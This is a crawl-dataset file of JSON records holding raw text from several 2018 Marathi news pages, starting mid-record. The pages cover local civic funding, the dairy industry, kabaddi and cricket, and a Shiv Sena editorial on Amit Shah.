ताब्यात घेतला आहे. जैव व वैद्यकीय कचर्‍यावर प्रक्रिया करण्यासाठी आवश्यक यंत्रणा उभी केली असून, महानगरपालिका स्वत: सक्षमपणे जैव व वैद्यकीय कचरा प्रकल्प चालवणार आहे. त्यासाठी पर्यावरण संवर्धन अधिकारी, आरोग्य निरीक्षक, सहायक आरोग्य निरीक्षक व 12 कर्मचार्‍यांची नियुक्‍ती केली आहे. जैववैद्यकीय कचरा संकलन करण्यासाठी स्वतंत्र 4 वाहनांची व्यवस्थाही करण्यात आली आहे. तसेच या ठिकाणचा ईटीपी, चिमणी इत्यांदी बाबीकरिता स्वतंत्र तांत्रिक सल्लागार नेमण्यात आला आहे, असेही महापालिकेने पत्रकात म्हटले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Center-decision-to-help-milk-industry/", "date_download": "2018-09-25T16:53:01Z", "digest": "sha1:SJ6BAZNBZIZDAN3VXUCYXGMO3OEG443J", "length": 5349, "nlines": 35, "source_domain": "www.pudhari.news", "title": " केंद्राकडून दूध उद्योगाच्या मदतीचे निर्णय लवकरच(व्हिडिओ) | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › केंद्राकडून दूध उद्योगाच्या मदतीचे निर्णय लवकरच(व्हिडिओ)\nकेंद्राकडून दूध उद्योगाच्या मदतीचे निर्णय लवकरच(व्हिडिओ)\nदेशात दुधासह पावडरचे भाव पडल्यामुळे या उद्योगाला आणि शेतकर्‍यांना मदत करण्यासाठी केंद्र सरकारकडून दूध पावडर निर्यातीला प्रोत्साहनपर आर्थिक मदतीची घोषणा अपेक्षित आहे. याशिवाय तूप आणि लोणी या पदार्थावरील वस्तू आणि सेवाकराचा तथा जीएसटीचा दर 12 वरून 5 टक्क्यांपर्यंत खाली आणावा आणि शालेय माध्यान्ह भोजनात दुधाचा समावेश करण्याच्या मागण्या केल्या आहेत. त्यावर दूध उद्योगाच्या हिताचे महत्त्वपूर्ण निर्णय लवकरच घेतले जातील, अशी माहिती राज्य कृषी मूल्य आयोगाचे अध्यक्ष पाशा पटेल यांनी बुधवारी येथे दिली.\nराज्य सरकारने गाईच्या दुधाचा खरेदी दर प्रतिलिटरला 27 रुपये निर्धारित केला असला, तरी सद्यःस्थितीत हे भाव 16 ते 17 रुपयांपर्यंत खाली आलेले आहेत. या पार्श्‍वभूमीवर सहकारी, खासगी दूध व्यावसायिकांची संयुक्त बैठक त्यांच्या उपस्थितीत झाली; त्यावेळी ते बोलत होते. या वेळी व्यासपीठावर इंदापूर येथील सोनाई दुधाचे अध्यक्ष दशरथ माने, कात्रज दूध संघाचे अध्यक्ष विष्णू हिंगे, दूध उत्पादक व प्रक्रिया व्यावसायिक कल्याणकारी संघाचे उपाध्यक्ष गोपाळ म्हस्के, स्वराज दुधाचे रणजित निंबाळकर यांच्यासह बैठकीस कोल्हापूर येथील गोकुळ दूध संघाचे सरव्यवस्थापक आर. सी. शहा आदींसह अन्य दूध व्यावसायिक उपस्थित होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/500553", "date_download": "2018-09-25T17:14:36Z", "digest": "sha1:LENRHMUSTVQIHERNKYCJ3WTZ3KCEWFMA", "length": 9353, "nlines": 48, "source_domain": "www.tarunbharat.com", "title": "‘स्मार्ट ग्राम’चा 90 लाखांचा निधी पडून - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » ‘स्मार्ट ग्राम’चा 90 लाखांचा निधी पडून\n‘स्मार्ट ग्राम’चा 90 लाखांचा निधी पडून\n9 ग्रा. पं. ना मिळणार प्रत्येकी 10 लाख,\nखर्चाचे निर्देशच नसल्याने निधी जि.प. कडेच\nजूनमध्ये मिळाला जिल्हय़ाला निधी\nजिल्हय़ातील 9 गावांची ‘स्मार्ट ग्राम’ स्पर्धेत निवड झाली आहे. या गावांना प्रत्येकी 10 लाखांचा निधी देण्यात येणार आहे. गेले काही महिने हा निधी थकित होता. मात्र जून महिन्यात हा निधी जि. प. कडे वर्ग करण्यात आला. परंतू हा निधी कोणत्या कामासाठी वापरायचा याबाबत निर्देश नसल्याने निधी तसाच पडून राहिला आहे.\nजिल्हय़ातील नऊ गावांचा स्मार्ट ग्राम म्हणून विकास करण्यात येणार आहे. शासनाच्या स्मार्ट ग्राम योजनेंतर्गत जिल्हय़ातील 9 तालुक्यातून प्रत्येकी एक अशा 9 गावांची तालुकास्तरीय समितीने निवड केली आहे. या निवड झालेल्या गावाचा महाराष्ट्र दिनी गौरव करण्यात आला होता. ही योजना एप्रिलपासून सुरु करण्यात आली होती.\nराज्यातील गावांचा शाश्वत विकास होण्यासाठी शासनाकडून विविध योजना राबविण्यात येतात. त्यात लोकसहभागातून उपलब्ध नैसर्गिक साधनाचा वापर करुन पर्यावरणाचा समतोल राखणे, त्यातून समृध्द ग्राम निर्माण करणे असे उपक्रम राबविण्यात येतात. या पर्यावरण संतुलित ग्राम योजनेत बदल करुन शासनाने स्मार्ट ग्राम योजना सुरु केली.\nया योजनेसाठी गावाची निवड करताना 5 हजार लोकसंख्येपेक्षा मोठय़ा ग्रामपंचायती, शहरालगत असणाऱया ग्रामपंचायती, पुरस्कार प्राप्त ग्रामपंचायती अशी विभागणी करण्यात आली. त्यानुसार सदर ग्रामपंचायतींना त्यांच्या क्षमतेनूसार गुणांकन करण्यात आले. त्यामध्ये स्वच्छता, व्यवस्थापन, दायित्त्व, अपारंपारिक ऊर्जा व पर्यावरण, पारदर्शकता व तंत्रज्ञानाचा वापर असे गुणांकन करण्यात आले.\nजिल्हय़ातील 500 पेक्षा जास्त ग्रामपंचायतींनी यामध्ये सहभाग घेतला होता. या ग्रामपंचायतीची तालुकास्तरीय समितीने पाहणी करुन गुणांकन केले होते. गुणांकनात सर्वात जास्त गुण असलेल्या 25 टक्के ग्रामपंचायती निवडण्यात आल्या. त्यातून 9 ग्रामपंचायती निवडण्यात आल्या. ही प्रक्रिया एप्रिल महिन्यात पुर्ण झाली होती. यामुळे तात्काळ निधी मिळेल, अशी अपेक्षा असताना निधी मिळण्यास जून महिना उजाडला. एकुण 90 लाख रुपयाचा निधी जि. प. ला प्राप्त झाला आहे. त्याच बरोबर जिल्हास्तरीय निवड झालेल्या ग्रामपंचायतीला 40 लाख रुपयाचा निधी मिळणार आहे. हा निधि मात्र अजून वर्ग झालेला नाही. जिल्हास्तरीयसाठी लांजा तालुक्यातील वेरळ ग्रामपंचायतीची निवड झाली आहे.\nप्रत्येक ग्रामपंचायतीला 10 लाखाचा निधी मिळाला असला तरी तो कसा खर्च करायचा याचे निर्देश शासनाने न दिल्याने तो जि. प. च्या खात्यातच पडून राहिला आहे. हा निधी कसा खर्च करावा यासाठी जि. प. ने शासनाकडे मार्गदर्शन मागवले आहे. हे आल्यानंतरच हा निधी खर्च करण्यात येणार आहे.\nनिधी मिळणाऱया स्मार्ट ग्रामपंचायती- भिंगोर्ली (मंडणगड), जालगांव (दापोली), साखर (खेड), कोलकेवाडी (चिपळुण), हेदवी (गुहागर), आरवली (संगमेश्वर), नाणीज (रत्नागिरी), वेरळ (लांजा), धोपेश्वर (राजापूर) यांचा समावेश आहे.\nचिपळूणचे पर्यटन सत्ताधाऱयांमुळेच रखडले\nएकाचवेळी अनेक जीवनांचे दर्शन घडवण्याचे सामर्थ्य साहित्यात\nपोलीस जाणून घेणार तक्रारदाराचा ‘अभिप्राय’\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/eyes-on-rakesh-kumar-s-perfomance-in-2017-pro-kabaddi/", "date_download": "2018-09-25T17:08:27Z", "digest": "sha1:PXCFOSPPUNWTCX4D5AANZGVNHVQUGBJK", "length": 9274, "nlines": 61, "source_domain": "mahasports.co.in", "title": "प्रो कबड्डी: 'राकेश कुमार'साठी अस्तित्त्वाची लढाई? -", "raw_content": "\nप्रो कबड्डी: ‘राकेश कुमार’साठी अस्तित्त्वाची लढाई\nप्रो कबड्डी: ‘राकेश कुमार’साठी अस्तित्त्वाची लढाई\n४-५ वर्षांपूर्वी जेव्हा प्रो कबड्डी सुरु झालेली नव्हती आणि कबड्डी तितकीशी लोकप्रिय नव्हती तेव्हा कबड्डी रसिकांना माहित असलेल्या मोजक्या नावांमधलं एक नाव म्हणजे ‘राकेश कुमार’ कबड्डी विश्वातील सर्वात नावाजलेला खेळाडू म्हणून त्याचा उल्लेख होत असे.सलग तीन तीन आशियाई स्पर्धांमध्ये (२००६,२०१०,२०१४) भारताला सुवर्णपदक मिळवून देणाऱ्या संघामध्ये राकेशचा समावेश होता.\n२०१४ च्या स्पर्धांमध्ये तर तो कर्णधार होता. अंतिम सामन्यात डोक्याला लागलेले असतांनाही राकेशने केलेला जिगरबाज खेळ सर्वांनाच माहित आहे. “कबड्डीतला सचिन तेंडुलकर” म्हणून त्याची ओळख आहे यातच सर्व काही आले\nअसे असतांना प्रो कबड्डीच्या पहिल्या पर्वसाठी झालेल्या लिलावात त्याच्यावरच सर्वात जास्त बोली लागणार हे निश्चित होते आणि झालेही तसेच.त्या पर्वातील सर्वात जास्त म्हणजे १२.८० लाखाची बोली राकेशवर लागली राकेश मैदानावर उतरून धडाकेबाज खेळ करणार हीच सगळ्यांची अपेक्षा होती.मात्र असे झाले नाही. पहिले दोन पर्व ‘पाटणा पायरेट्स’चे प्रतिनिधीतत्व करतांना राकेशला लौकिकाला साजेसा असा खेळ करता आला नाही. तिसऱ्या व चौथ्या पर्वात ‘यू मुम्बा’कडून खेळतांना त्याने चांगला खेळ केला खरा पण त्याला जुन्या राकेशची सर नव्हती\nतसं तर राकेशला काहीही सिद्ध करण्याची गरज नाही कारण कबड्डीत जे जे साध्य केले जाऊ शकते ते ते त्याने साध्य केलेले आहे. अर्जुन पुरस्कार,आशियाई स्पर्धांत सुवर्णपदक,विश्व कप स्पर्धा ही जिंकली आहे मात्र ही प्रो कबड्डी आहे; इथे तुम्ही आधी काय केलयं त्यापेक्षा आत्ता काय करत आहात यालाच जास्त महत्त्व आहे मात्र ही प्रो कबड्डी आहे; इथे तुम्ही आधी काय केलयं त्यापेक्षा आत्ता काय करत आहात यालाच जास्त महत्त्व आहे त्यामुळे राकेशसाठी हे पर्व ‘करो या मरो’ असे असेल.’तेलुगू टायटन्स’कडून जेतेपदासाठी लढताना आपल्या अस्तित्वाची लढाईच जणू त्याला लढावी लागणार आहे\nएक मात्र नक्की की या पर्वात काहीही झाले तरी राकेशचे अस्तित्त्व सदैव असेल त्याच्या चाहत्यांच्या मनात विश्व कबड्डीच्या आकाशगंगेतला तो एक अढळ तारा आहे ज्याचे स्थान कोणीही घेऊ शकत नाही विश्व कबड्डीच्या आकाशगंगेतला तो एक अढळ तारा आहे ज्याचे स्थान कोणीही घेऊ शकत नाही राकेश कुमारने या पर्वात जोरदार खेळ करावा आणि ‘जुनं ते सोनं’ हे सिद्ध करावं हीच त्याच्या चाहत्यांची इच्छा असेल\n-शारंग ढोमसे (टीम महा स्पोर्ट्स )\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/team-india-skipper-virat-kohli-with-bollywood-singer-arijit-singh/", "date_download": "2018-09-25T17:12:13Z", "digest": "sha1:TACPMBL4FH4ZB2RFE5PGYIKYE6KLJG6R", "length": 6291, "nlines": 61, "source_domain": "mahasports.co.in", "title": "जेव्हा अरिजित - विराट कोहली भेट होते -", "raw_content": "\nजेव्हा अरिजित – विराट कोहली भेट होते\nजेव्हा अरिजित – विराट कोहली भेट होते\nभारतीय क्रीडा क्षेत्रातील आघाडीचे नाव विराट कोहली आणि भारतीय संगीत क्षेत्रातील तरुणांच्या गळ्यातील ताईत यांनी आज एकमेकांची भेट घेतली. याचा फोटो विराटने ट्विटरवर शेअर केला आहे.\nविराट म्हणतो, ” माझ्यासाठी हा एक चांगला क्षण आहे. अरिजित एक खूप खास व्यक्ती आहे. त्याच्या आवाजात जी जादू आहे त्याने मी मोहून जातो. अशी जादू कुणाकडेच नाही. तुला खूप शुभेच्छा अरिजित. ”\nकेवळ २० मिनिटात तब्बल ५००० चाहत्यांनी हा फोटो लाइक केला असून त्याला ६०० हुन अधिक रिट्विट आले आहेत तर फेसबुकवर तब्बल ४४ हजार चाहत्यांनी हा फोटो लाइक केला आहे.\nसध्या विराट सुट्ट्यांचा आणि दिवाळीचा आनंद घेत आहे. परंतु २२ तारखेपासून सुरु होणाऱ्या न्यूजीलँडविरुद्धच्या मालिकेसाठी विराट लवकरच संघाबरोबर सराव करताना दिसेल.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/mumbai/negavitisam-about-amit-shah-visit-in-samna-editorial-291839.html", "date_download": "2018-09-25T16:48:09Z", "digest": "sha1:BLI54B26HIIXWRAJ7P773YB2P4Q7QGAB", "length": 14307, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "अमित शहांच्या भेटीवर 'सामना'तून खवचट टीका", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअमित शहांच्या भेटीवर 'सामना'तून खवचट टीका\nएकीकडे अमित शहा आज उद्धव ठाकरेंना भेटणारेत, आणि दुसरीकडे सामनामधून या भेटीवर खरमरीत टीका करण्यात आलीये. चला, संपर्क खेळू या, असं या अग्रलेखाचं नाव आहे.\nमुंबई, 06 जून : एकीकडे अमित शहा आज उद्धव ठाकरेंना भेटणारेत, आणि दुसरीकडे सामनामधून या भेटीवर खरमरीत टीका करण्यात आलीये. चला, संपर्क खेळू या, असं या अग्रलेखाचं नाव आहे. पाहूयात या अग्रलेखात काय म्हटलंय ते.\nभारतीय जनता पक्षाने एक व्यापक संपर्क मोहीम सुरू केली आहे. त्यानुसार पंतप्रधान मोदी हे जगभ्रमणावर तर राष्ट्रीय अध्यक्ष अमित शहा हे देशभ्रमणावर आहेत. एनडीएतील घटक पक्षांना श्री. शहा भेटणार आहेत म्हणजे नक्की काय करणार आहेत व ते नेमके आताच म्हणजे पोटनिवडणुकांत भाजपची धूळधाण उडाल्यावरच का भेटत आहेत, हासुद्धा प्रश्नच आहे.\n२०१९च्या निवडणुका शिवसेना स्वतंत्रपणे लढणारच आहे, असा पुनरुच्चारही करण्यात आलाय. पालघर पोटनिवडणुकीतील निकालाने शिवसेनेचे 'स्व'बळ दाखवून दिले आहेच. तेव्हा भारतीय जनता पक्षाच्या राष्ट्रीय अध्यक्षांच्या या संपर्क अभियानामागे २०१९च्या सार्वत्रिक निवडणुका हे एक कारण होऊ शकते; पण मुळात सरकार पक्षाचा जनतेशी संपर्क तुटला आहे व त्यामागची कारणे शोधायला हवीत, असा सल्लाही शिवसेनेनं भाजपला दिलाय.\nआंध्रातील चंद्राबाबू नायडू यांनी भाजपशी संपर्क तोडला आहे. त्यामुळे श्री. शहा यांच्या संपर्क अभियानात नायडू भेटीचाही समावेश आहे काय राजस्थान, मध्य प्रदेशातही सत्ताबदलाचे वारे वाहत आहेत. महाराष्ट्रातही सत्ताबदल अटळ आहे. ३५० जागा भाजपास मिळतील तेव्हाच अयोध्येत राम मंदिर उभारू, असा विडा त्यांनी उचलला आहे. त्यांच्या जिद्दीस सलाम करावा लागेल.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: Amit ShahBJPeditorialsamana newspapershivsenaअमित शाहभाजपवर्तमानपत्रशिवसेनासंपादकीयसामना\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/rss/", "date_download": "2018-09-25T17:03:15Z", "digest": "sha1:X6SRFKKFXRN3MGDFVSBDK4XXPDE77K7R", "length": 11584, "nlines": 143, "source_domain": "lokmat.news18.com", "title": "Rss- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे 